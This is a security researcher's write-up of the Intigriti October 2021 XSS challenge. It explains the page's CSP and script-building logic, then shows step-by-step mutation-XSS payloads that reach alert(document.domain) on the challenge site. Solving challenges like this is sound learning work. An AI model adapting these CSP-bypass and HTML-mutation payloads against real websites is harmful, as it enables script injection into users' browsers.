Intigriti 1021 - XSS Challenge Writeup

Whoami

Hi Everyone 👋,

I am Isira Adithya and I am a 17 years old security researcher from Sri Lanka. 🧒


XSS Challenge

As usual, Intigriti released their XSS Challenge this month too.

It was created by @0xTib3rius 🙌

This was a cool challenge, and I got the second blood too. 🥳


Overview

So, the website is hosted at https://challenge-1021.intigriti.io/ -> Click Here

Upon visiting the page, I immediately notice that there is an <iframe> tag with the src="challenge/challenge.php" and other HTML code is uninteresting.

So, Let's visit https://challenge-1021.intigriti.io/challenge/challenge.php.

And, I noticed that there is some text with a little hint.

So, I checked if this parameter works, and it worked. (challenge.php?html=%3Ca%20href=%22javascript:alert(1)%22%3EClick%20Me%3C/a%3E)

Refused to run the JavaScript URL because it violates the following Content Security Policy directive: "script-src 'unsafe-eval' 'strict-dynamic' 'nonce-521643e2e4b6363087463c4ccb3718d6'". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution. Note that hashes do not apply to event handlers, style attributes, and javascript: navigations unless the 'unsafe-hashes' keyword is present.

I tried some simple payloads like <svg/onload=alert(1)> and it didn't work because of the CSP.


Source Code - (Simplified Version)

<html lang="en">

    <!-- [@isira_adithya] Read This! -->
    <!-- <nonce> means a random 32 bytes long nonce value generated on Server-side -->
<head>
    <title>BOOOOOOO!</title>
    
    <!-- [@isira_adithya] Read This! -->
    <!-- Below tag adds a CSP policy using Meta Tag, this website don't use headers to implement the CSP -->
    <!-- Read more about this here -> https://content-security-policy.com/examples/meta/ -->
    <meta http-equiv="Content-Security-Policy"
        content="default-src 'none'; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-<nonce>'; style-src 'nonce-<nonce>'" />
</head>

<body id="body">
    <style nonce="<nonce>">
        .a {
            display: none;
        }
    </style>
    <div class="wrapper"">
        <script nonce="<nonce>">
        
        // [@isira_adithya] Read This!
        // Below line creates an event listener that runs a function after the webpage is loaded.
        window.addEventListener("DOMContentLoaded", function() {
    
            // [@isira_adithya] Read This!
            // I am explaining this part below
            e = `)]}'` + new URL(location.href).searchParams.get("xss");
            c = document.getElementById("body").lastElementChild;
            if (c.id === "intigriti") {
                l = c.lastElementChild;
                i = l.innerHTML.trim();
                f = i.substr(i.length - 4);
                e = f + e;
    
            }
            let s = document.createElement("script");
            s.type = "text/javascript";
            s.appendChild(document.createTextNode(e));
            document.body.appendChild(s);
        });
        </script>
    </div>
    <!-- !!! -->
    <div id="html" class="text">
        
        <!-- [@isira_adithya] Read This! -->
        <!-- Website reflects the value entered in HTTP Get Parameter [html] (Ex: http://website/?html=<test> ) -->
        <h1 class="light"><?php echo $_GET['html'] ?>
        <!-- There is no filters, blocked characters or a length limit here.-->
    </div>
    <!-- !!! -->
    <div class="a">'"</div>
</body>

<div id="container">
    <span>INTIGRITI</span>
</div>

</html>

I simplified the code and added some detailed comments explaining what's going on.

So, make sure to read the code.


Strange JavaScript Code

So, this is the only Javascript code that looks interesting to me.

e = `)]}'` + new URL(location.href).searchParams.get("xss");
c = document.getElementById("body").lastElementChild;
if (c.id === "intigriti") {
    l = c.lastElementChild;
    i = l.innerHTML.trim();
    f = i.substr(i.length - 4);
    e = f + e;
}
let s = document.createElement("script");
s.type = "text/javascript";
s.appendChild(document.createTextNode(e));
document.body.appendChild(s);

So, the code is simply creating a <script> with user input given through xss GET param in the URL.

So, if the URL is this -> https://challenge-1021.intigriti.io/challenge/challenge.php?xss=test

The code will simply create something like this,

<script type="text/javascript">)]}'%USERINPUT%</script> (%USERINPUT% is replaced by the value of the xss parameter input)

So, this is not valid JavaScript code.

But, this part of the code does something else.

if (c.id === "intigriti") {
    l = c.lastElementChild;
    i = l.innerHTML.trim();
    f = i.substr(i.length - 4);
    e = f + e;
}

If the last element of <body> tag have the attribute id="intigriti" , (Let's call it bodyLastElement)

Then, variable l will store the last element of bodyLastElement

After that, it is gonna take the innerHtml of the l and it storing the last 4 characters of the innerHtml in variable f .

I will show how the HTML code should be looking to control the f variable.

<html>
    <head>
        <title>Title</title>
    </head>
    <body id="body">
        <div>
            <h1>
                Sample Text 
                <!-- We can inject stuff here via ?html=<input> parameter -->
            </h1>
        </div>
        <div id="intigriti">
            <div>
                <span>Text</span>
            </div>
        </div>
    </body>
</html>

If we can manage to create that kinda HTML Structure, then the javascript code generated will look like below.

<script type="text/javascript">pan>)]}'null</script>

So, we have to control those 4 characters accordingly to get valid JS.


Mutation XSS

If you don't know what is Mutation XSS, don't worry it is a very rare case. (But, it was found in Google Search 🤯)

We are abusing the way different browsers interpret HTML code.

And, I will link some references and some learning materials below.

  1. https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/
  2. https://portswigger.net/daily-swig/third-mutation-xss-bug-patched-in-mozilla-bleach-library
  3. XSS on Google Search - Sanitizing HTML in The Client? - LiveOverFlow
  4. How did Masato find the Google Search XSS? - LiveOverFlow

So, here is a quick demonstration of what's going on. (Use Chrome/Firefox)

  1. Create a file with below content
<test
<div>
<h1>hi</h1>
</div>
  1. As you can see, that is not valid HTML code. But, the browser will fix it for ya! 😉 (Intigriti Tip - 01)
  2. Open the HTML file and check the Elements tab (Ctrl + Shift + I)
<test <div="">
<h1>hi</h1>
</test>

You will see the above output from the browser.

As you can see, the browser tried to fix the HTML code. But, it ended up removing the <div> tag completely.

This is what we are gonna abuse to get XSS in this challenge.


Exploitation

Now, We know that there is a parameter called html and we can use it to inject HTML code.

If you visit https://challenge-1021.intigriti.io/challenge/challenge.php?html=ourinput, the page will look like this.

So, first of all, let's escape from the div tag and get into body.

For that, we can use this html code -> </h1></div>ourinput

https://challenge-1021.intigriti.io/challenge/challenge.php?html=%3C/h1%3E%3C/div%3Eourinput

Now, we are in the body tag, but To exploit this (to control the first part of the javascript), we need to inject an HTML element at the bottom/end of the <body id="body"> tag.

Currently, we are in the 3rd position, we have to bypass/remove 2 elements.

Let's try using this payload -> </h1></div><div

https://challenge-1021.intigriti.io/challenge/challenge.php?html=%3C/h1%3E%3C/div%3E%3Cdiv

Look at that, We are already at the bottom of the body tag. And, if you remember this code snippet.

if (c.id === "intigriti") {
    l = c.lastElementChild;
    i = l.innerHTML.trim();
    f = i.substr(i.length - 4);
    e = f + e;
}

We have to add the id="intigriti" to the element to proceed to the next part.

So, let's use </h1></div><test id="intigriti".

https://challenge-1021.intigriti.io/challenge/challenge.php?html=%3C/h1%3E%3C/div%3E%3Ctest%20id=%22intigriti%22

Let's take another step and add another tag called xss.

Payload -> </h1></div><test id="intigriti"><xss>

https://challenge-1021.intigriti.io/challenge/challenge.php?html=%3C/h1%3E%3C/div%3E%3Ctest%20id=%22intigriti%22%3E%3Cxss%3E

Now, we are even closer.

One more tag to conquer and We can control the injected JavaScript. 🚀

Here is our final payload for the html parameter.

Payload -> </h1></div><test id="intigriti"><xss><te>

https://challenge-1021.intigriti.io/challenge/challenge.php?html=%3C/h1%3E%3C/div%3E%3Ctest%20id=%22intigriti%22%3E%3Cxss%3E%3Cte%3E

I think you can understand how to exploit from here.

When we injected the tag <te>, the browser automatically closed that tag using </te>.

So, last 4 characters of the innerHTML of xss tag is /te>.

JS:

document.getElementById("body").lastElementChild.lastElementChild.innerHtml.trim().substr(-3)

All we have to do is make this valid JS Regex. MDN - Regular expressions

Fixing the Regex and Getting XSS

In regex, ( and ) characters are used to declare a group of characters.

So, single ) is invalid and JavaScript will throw an exception because of this. We can fix this by modifying our payload slightly like this.

Payload -> </h1></div><test id="intigriti"><xss><t(>

And now, we need the xss parameter to close the regex and add the final payload alert(document.domain).

Payload -> /; alert(document.domain)

So, here is the final payload.

https://challenge-1021.intigriti.io/challenge/challenge.php?html=%3C/h1%3E%3C/div%3E%3Ctest%20id=%22intigriti%22%3E%3Cxss%3E%3Ct(%3E&xss=/;%20alert(document.domain)

Click Here

Opening that will execute the command alert(document.domain) 🥳🥂

This is how the DOM looks when we open the final payload.

As you can see, that is valid JavaScript and the code will execute 👌.

Thanks

Thanks a lot for reading.

Hope you understood the solution.

If you have any questions regarding this, feel free to reach to me at Twitter - @isira_adithya